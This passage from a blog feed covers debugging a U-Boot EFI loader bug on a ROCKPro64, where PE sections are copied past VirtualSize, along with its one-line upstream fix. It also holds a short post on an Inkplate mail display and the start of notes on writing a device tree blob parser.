actually ran on my hardware.  There’s a 4+ hour gap between the two blocks of
chat here:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/fuck.png&quot; alt=&quot;“finally got my own uboot build running!! fuck”&quot; /&gt;&lt;/p&gt;
&lt;p&gt;(I nuked the boot environment quite a few times getting to this point.)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;printf&lt;/code&gt; debugging to the rescue: U-Boot wasn’t doing any of the relocations,
at all.  It thought there weren’t any:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;doing relocations (rel 0x0000000078efb2e0 rel_size 0x68
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;                   efi_reloc 0x0000000078ef6000
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;                   image_base 0x0)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;DAINDBG: delta: 0x78ef6000
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;rel: 0x0000000078efb2e0, end: 0x0000000078efb348,
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;     rel-&amp;gt;SizeOfBlock: 0x0
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;DAINDBG: done
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;rel-&amp;gt;SizeOfBlock&lt;/code&gt; here corresponds to the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#base-relocation-block&quot;&gt;Block
Size&lt;/a&gt;
field in the base relocation block.  My tools were clearly showing that block
had a very non-zero size, so how was U-Boot getting a different idea?&lt;/p&gt;
&lt;p&gt;I tried dumping the table raw, 32 bytes as hex to see what we got, and it was
all zero.  Something was still up.  I had to keep going back.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/suspect.png&quot; alt=&quot;“so now i need to suspect the code immediately before”&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I riddled the loader with &lt;code&gt;printf&lt;/code&gt;s:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;DAINDBG: loading section[2]: VA 0x0000000078efb2e0 --
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;    setting 0x68 bytes to zero, then loading 0x200 bytes
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    from 0x0000000002085600
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    (efi 0x0000000002080000 + PointerToRawData 0x5600)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;DAINDBG: loading section[1]: VA 0x0000000078ef9860 --
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    setting 0x1a75 bytes to zero, then loading 0x1c00 bytes
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    from 0x0000000002083a00
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    (efi 0x0000000002080000 + PointerToRawData 0x3a00)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;DAINDBG: loading section[0]: VA 0x0000000078ef6200 --
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    setting 0x364c bytes to zero, then loading 0x3800 bytes
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    from 0x0000000002080200
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    (efi 0x0000000002080000 + PointerToRawData 0x200)
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here’s the code that corresponds to the above, with the &lt;code&gt;printf&lt;/code&gt;
re-approximated post-hoc for your reading pleasure:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-c&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;/* Load sections into RAM */&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;i&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;num_sections&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;i&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;	&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;/* &lt;span style=&quot;color: #1e1e2e; background-color: #89b4fa;&quot;&gt;XXX&lt;/span&gt; */&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;	&lt;span style=&quot;color: #89b4fa;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;DAINDBG: loading section[%d]: VA %p -- &amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;	       &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;setting 0x%x bytes to zero, then loading &amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;	       &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;0x%x bytes from %p (efi %p + &amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;	       &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;PointerToRawData %x)&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; 
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;	       &lt;span style=&quot;color: #cdd6f4;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;	       &lt;span style=&quot;color: #cdd6f4;&quot;&gt;efi_reloc&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;sec&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;VirtualAddress&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;	       &lt;span style=&quot;color: #cdd6f4;&quot;&gt;sec&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;Misc&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;VirtualSize&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;	       &lt;span style=&quot;color: #cdd6f4;&quot;&gt;sec&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;SizeOfRawData&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;	       &lt;span style=&quot;color: #cdd6f4;&quot;&gt;efi&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;sec&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;PointerToRawData&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;	       &lt;span style=&quot;color: #cdd6f4;&quot;&gt;efi&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;	       &lt;span style=&quot;color: #cdd6f4;&quot;&gt;sec&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;PointerToRawData&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;	&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;/* &lt;span style=&quot;color: #1e1e2e; background-color: #89b4fa;&quot;&gt;XXX&lt;/span&gt; */&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;	&lt;span style=&quot;color: #f9e2af;&quot;&gt;IMAGE_SECTION_HEADER&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;sec&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;sections&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;	&lt;span style=&quot;color: #89b4fa;&quot;&gt;memset&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;efi_reloc&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;sec&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;VirtualAddress&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;	       &lt;span style=&quot;color: #cdd6f4;&quot;&gt;sec&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;Misc&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;VirtualSize&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;	&lt;span style=&quot;color: #89b4fa;&quot;&gt;memcpy&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;efi_reloc&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;sec&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;VirtualAddress&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;	       &lt;span style=&quot;color: #cdd6f4;&quot;&gt;efi&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;sec&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;PointerToRawData&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;	       &lt;span style=&quot;color: #cdd6f4;&quot;&gt;sec&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;SizeOfRawData&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Firstly, we load them in reverse.  Weird, but okay.  Secondly, it became clear
that &lt;code&gt;section[1]&lt;/code&gt; (&lt;code&gt;.data&lt;/code&gt;) overlaps &lt;code&gt;section[2]&lt;/code&gt; (&lt;code&gt;.reloc&lt;/code&gt;) by 384 bytes (!!):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;.reloc&lt;/code&gt;: load at &lt;code&gt;0x78efb2e0&lt;/code&gt;, zero &lt;code&gt;0x68&lt;/code&gt; bytes at start, then load
&lt;code&gt;0x200&lt;/code&gt; bytes at start, until &lt;code&gt;0x78efb4e0&lt;/code&gt; non-incl.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.data&lt;/code&gt;: load at &lt;code&gt;0x78ef9860&lt;/code&gt;, zero &lt;code&gt;0x1a75&lt;/code&gt; bytes at start, then load
&lt;code&gt;0x1c00&lt;/code&gt; bytes at start, until &lt;code&gt;0x78efb460&lt;/code&gt; non-incl. (&lt;strong&gt;&lt;code&gt;0x180&lt;/code&gt; bytes into
&lt;code&gt;.reloc&lt;/code&gt; target !!&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.text&lt;/code&gt;: load at &lt;code&gt;0x78ef6200&lt;/code&gt;, zero &lt;code&gt;0x364c&lt;/code&gt; bytes at start, then load
&lt;code&gt;0x3800&lt;/code&gt; bytes at start, until &lt;code&gt;0x78ef9a00&lt;/code&gt; non-incl. (&lt;strong&gt;&lt;code&gt;0x1a0&lt;/code&gt; bytes into
&lt;code&gt;.data&lt;/code&gt; target !!&lt;/strong&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Oh boy.  I didn’t even notice until now that the &lt;code&gt;.text&lt;/code&gt; overlapped &lt;code&gt;.data&lt;/code&gt; too.
Who &lt;em&gt;knows&lt;/em&gt; what would’ve happened if the sections aligned such that the
relocations worked.  It would’ve been much harder to diagnose.&lt;/p&gt;
&lt;p&gt;Why would this happen?  It seems like &lt;code&gt;VirtualAddress + SizeOfRawData&lt;/code&gt; overlaps
with other &lt;code&gt;VirtualAddress&lt;/code&gt;es.  What does the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#section-table-section-headers&quot;&gt;PE
format&lt;/a&gt;
say about &lt;code&gt;VirtualAddress&lt;/code&gt;?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;For executable images, the address of the first byte of the section relative
to the image base when the section is loaded into memory. For object files,
this field is the address of the first byte before relocation is applied; for
simplicity, compilers should set this to zero. Otherwise, it is an arbitrary
value that is subtracted from offsets during relocation.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;SizeOfRawData&lt;/code&gt; is below it and caught my eye.  Emphasis mine:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The size of the section (for object files) or the size of the initialized
data on disk (for image files). For executable images, this must be a
multiple of FileAlignment from the optional header. If this is less than
VirtualSize, the remainder of the section is zero-filled. &lt;strong&gt;Because the
SizeOfRawData field is rounded but the VirtualSize field is not, it is
possible for SizeOfRawData to be greater than VirtualSize as well.&lt;/strong&gt; When a
section contains only uninitialized data, this field should be zero.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;SizeOfRawData&lt;/code&gt; is rounded to a multiple of &lt;code&gt;FileAlignment&lt;/code&gt;, which the docs
tell us is typically 512 bytes.  (Notice they all divide by &lt;code&gt;0x200&lt;/code&gt;.)  But
that’s presumably just because of the way they align in the file!  What &lt;em&gt;is&lt;/em&gt;
&lt;code&gt;VirtualSize&lt;/code&gt;, which until now we’re only using to determine how much to zero?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;The total size of the section when loaded into memory.&lt;/strong&gt; If this value is
greater than SizeOfRawData, the section is zero-padded. This field is valid
only for executable images and should be set to zero for object files.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The &lt;strong&gt;total size&lt;/strong&gt;.  It seems pretty clear that we should never load more than
this many bytes, even if &lt;code&gt;SizeOfRawData&lt;/code&gt; happens to be bigger.  The size of the
section can’t be bigger than this.  If we were to constrain our &lt;code&gt;memcpy&lt;/code&gt;s to
&lt;code&gt;min(VirtualSize, SizeOfRawData)&lt;/code&gt;, we get this instead:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;.reloc&lt;/code&gt;: load at &lt;code&gt;0x78efb2e0&lt;/code&gt;, zero &lt;code&gt;0x68&lt;/code&gt; bytes at start, then load
&lt;del&gt;&lt;code&gt;0x200&lt;/code&gt;&lt;/del&gt; &lt;strong&gt;&lt;code&gt;0x68&lt;/code&gt;&lt;/strong&gt; bytes at start, until &lt;strong&gt;&lt;code&gt;0x78efb348&lt;/code&gt;&lt;/strong&gt; non-incl.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.data&lt;/code&gt;: load at &lt;code&gt;0x78ef9860&lt;/code&gt;, zero &lt;code&gt;0x1a75&lt;/code&gt; bytes at start, then load
&lt;del&gt;&lt;code&gt;0x1c00&lt;/code&gt;&lt;/del&gt; &lt;strong&gt;&lt;code&gt;0x1a75&lt;/code&gt;&lt;/strong&gt; bytes at start, until &lt;strong&gt;&lt;code&gt;0x78efb2d5&lt;/code&gt;&lt;/strong&gt; non-incl.
(&lt;strong&gt;before &lt;code&gt;.reloc&lt;/code&gt; begins&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.text&lt;/code&gt;: load at &lt;code&gt;0x78ef6200&lt;/code&gt;, zero &lt;code&gt;0x364c&lt;/code&gt; bytes at start, then load
&lt;del&gt;&lt;code&gt;0x3800&lt;/code&gt;&lt;/del&gt; &lt;strong&gt;&lt;code&gt;0x364c&lt;/code&gt;&lt;/strong&gt; bytes at start, until &lt;strong&gt;&lt;code&gt;0x78ef984c&lt;/code&gt;&lt;/strong&gt; non-incl.
(&lt;strong&gt;before &lt;code&gt;.data&lt;/code&gt; begins&lt;/strong&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;It looked like a bug.  If U-Boot loaded sections forwards, this wouldn’t have
been exposed, but either way it appeared to be an error to do this at all.  The
section shouldn’t be loaded beyond its VirtualSize.&lt;/p&gt;
&lt;p&gt;A quick trip to the &lt;a href=&quot;https://github.com/tianocore/edk2/blob/c640186ec8aae6164123ee38de6409aed69eab12/BaseTools/Source/C/Common/BasePeCoff.c#L1028-L1031&quot;&gt;EDK2 PE
loader&lt;/a&gt;
shows they load at most &lt;code&gt;min(VirtualSize, SizeOfRawData)&lt;/code&gt; bytes into memory,
and then pad up to &lt;code&gt;VirtualSize&lt;/code&gt; with zeroes if needed.  (The zeroing behaviour
is for BSS-style initialisation.)  They never touch memory past &lt;code&gt;VirtualSize&lt;/code&gt;
bytes.&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-diff&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt; memcpy(efi_reloc + sec-&amp;gt;VirtualAddress,
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;        efi + sec-&amp;gt;PointerToRawData,
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #f38ba8;&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;-&lt;/span&gt;       sec-&amp;gt;SizeOfRawData);&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;+&lt;/span&gt;       min(sec-&amp;gt;Misc.VirtualSize, sec-&amp;gt;SizeOfRawData));&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;http://u-boot.10912.n7.nabble.com/Re-PATCH-efi-loader-don-t-load-beyond-VirtualSize-td440790.html#a440833&quot;&gt;One short conversation
later&lt;/a&gt;,
and &lt;a href=&quot;https://source.denx.de/u-boot/u-boot/-/commit/9d30a941cce5ed055da18398f4deba18830d00d6&quot;&gt;the bug was
fixed&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/dainboot.png&quot; alt=&quot;Screenshot of it working.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;(This is what success looks like.)&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Sometimes&lt;/em&gt;, the problem is not in your code.&lt;/p&gt;
&lt;section class=&quot;footnotes&quot; data-footnotes&gt;
&lt;ol&gt;
&lt;li id=&quot;fn-why-no-edk2-on-rk&quot;&gt;
&lt;p&gt;Maybe it’d be nice if I could slap EDK2 on the ROCKPro64 –
&lt;a href=&quot;https://github.com/edk2-porting/edk2-rk3399&quot;&gt;edk2-porting/edk2-rk3399&lt;/a&gt;
appears to be the strongest effort in this area so far, and it doesn’t look
great.  U-Boot is mature on many embedded platforms. &lt;a href=&quot;#fnref-why-no-edk2-on-rk&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;1&quot; aria-label=&quot;Back to reference 1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content>

  </entry>

  <entry>
    <title>Inkplate done quick</title>
    <updated>2021-02-19T00:00:00Z</updated>
    <id>https://kivikakk.ee/2021/02/19/inkplate-done-quick</id>
    <link href="https://kivikakk.ee/2021/02/19/inkplate-done-quick" />

    <content type="html">&lt;p&gt;I recently received an &lt;a href=&quot;https://inkplate.io&quot;&gt;Inkplate&lt;/a&gt;, and while I’m in the
middle of a few interesting projects already, I couldn’t let it sit there
unused.  Until I get a longer chunk of time to turn it into something really
nifty — maybe an embedded debugging helper of some kind — it can at least
mean I no longer need to have Mail.app open.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/kivikakk/kmlyink&quot;&gt;kmlyink&lt;/a&gt;’s README explains:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This repo has two parts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;a Dockerised IMAP proxy written in Ruby.&lt;/p&gt;
&lt;p&gt;It speaks plain HTTP, like an ESP can manage. It just fetches your Inbox
listing and puts it in JSON.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;a MicroPython module that connects to your wifi, speaks to the IMAP proxy,
and formats it into the display.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;It took just a few hours to get it all up and running.  Delightful!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/kmlyink.jpg&quot; alt=&quot;A photo of kmlyink in action. There’s some emails listed on an e-ink display.&quot; /&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>DTB parser implementing notes</title>
    <updated>2021-02-13T00:00:00Z</updated>
    <id>https://kivikakk.ee/2021/02/13/dtb-parser-implementing-notes</id>
    <link href="https://kivikakk.ee/2021/02/13/dtb-parser-implementing-notes" />

    <content type="html">&lt;p&gt;Ever find yourself needing to implement a &lt;a href=&quot;https://devicetree-specification.readthedocs.io/en/latest/chapter5-flattened-format.html&quot;&gt;device tree
blob&lt;/a&gt;
(aka FDT, flattened device tree) parser and want to save yourself some time?
Learn from my mistakes!&lt;/p&gt;
&lt;h2&gt;If you try to do it in one pass, you will hurt yourself&lt;/h2&gt;
&lt;p&gt;&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;I charged headlong into writing
&lt;a href=&quot;https://github.com/kivikakk/dtb.zig&quot;&gt;dtb.zig&lt;/a&gt;
by starting at the top of the Devicetree Specification page on the “Flattened
Devicetree (DTB)” Format” and reading down. It looked delightfully simple. Keep
in mind, I still didn’t know what I yet needed out of it, just that I probably
needed to reference the DTB to get it.  (I &lt;a href=&quot;https://github.com/kivikakk/daintree/commit/1a65076a36301f0fb33748b8da644010a178b58e#diff-5e1ca02318cf3679c3aa9a422be7adfefe1fefdd76d297d676770edeacdb5e67R329-R349&quot;&gt;kind of know better now&lt;/a&gt;.)&lt;/p&gt;
&lt;!--more--&gt;
&lt;hr /&gt;
&lt;p&gt;The tree was taking shape, and then I had to parse the contents of one field by
the contents of a prop in its parent (&lt;a href=&quot;https://devicetree-specification.readthedocs.io/en/latest/chapter2-devicetree-basics.html#address-cells-and-size-cells&quot;&gt;&lt;code&gt;#address-cells&lt;/code&gt; and
&lt;code&gt;#size-cells&lt;/code&gt;&lt;/a&gt;).
Add some contexts and derive them from their parent, allowing overriding for
children. Easy.&lt;/p&gt;
&lt;p&gt;Then I needed to parse
&lt;a href=&quot;https://devicetree-specification.readthedocs.io/en/latest/chapter2-devicetree-basics.html#interrupts-and-interrupt-mapping&quot;&gt;interrupts&lt;/a&gt;.
It turns out the &lt;code&gt;interrupts&lt;/code&gt; property of a node has its format defined by the
&lt;code&gt;#interrupt-cells&lt;/code&gt; of the “binding of the interrupt domain root”.  It turns out
your &lt;a href=&quot;https://devicetree-specification.readthedocs.io/en/latest/chapter2-devicetree-basics.html#interrupt-parent&quot;&gt;“interrupt
parent”&lt;/a&gt;
might be defined &lt;em&gt;forward&lt;/em&gt; in the file, as referenced by its phandle.&lt;/p&gt;
&lt;p&gt;You find out the same thing about clocks, though the documentation is &lt;a href=&quot;https://android.googlesource.com/kernel/msm.git/+/android-msm-shamu-3.10-lollipop-mr1/Documentation/devicetree/bindings/clock/clock-bindings.txt&quot;&gt;harder
to
find&lt;/a&gt;.
A clock provider specifies &lt;code&gt;#clock-cells&lt;/code&gt;, which is usually 0 or 1. When
another node refers to a clock on that node, it addresses the phandle of the
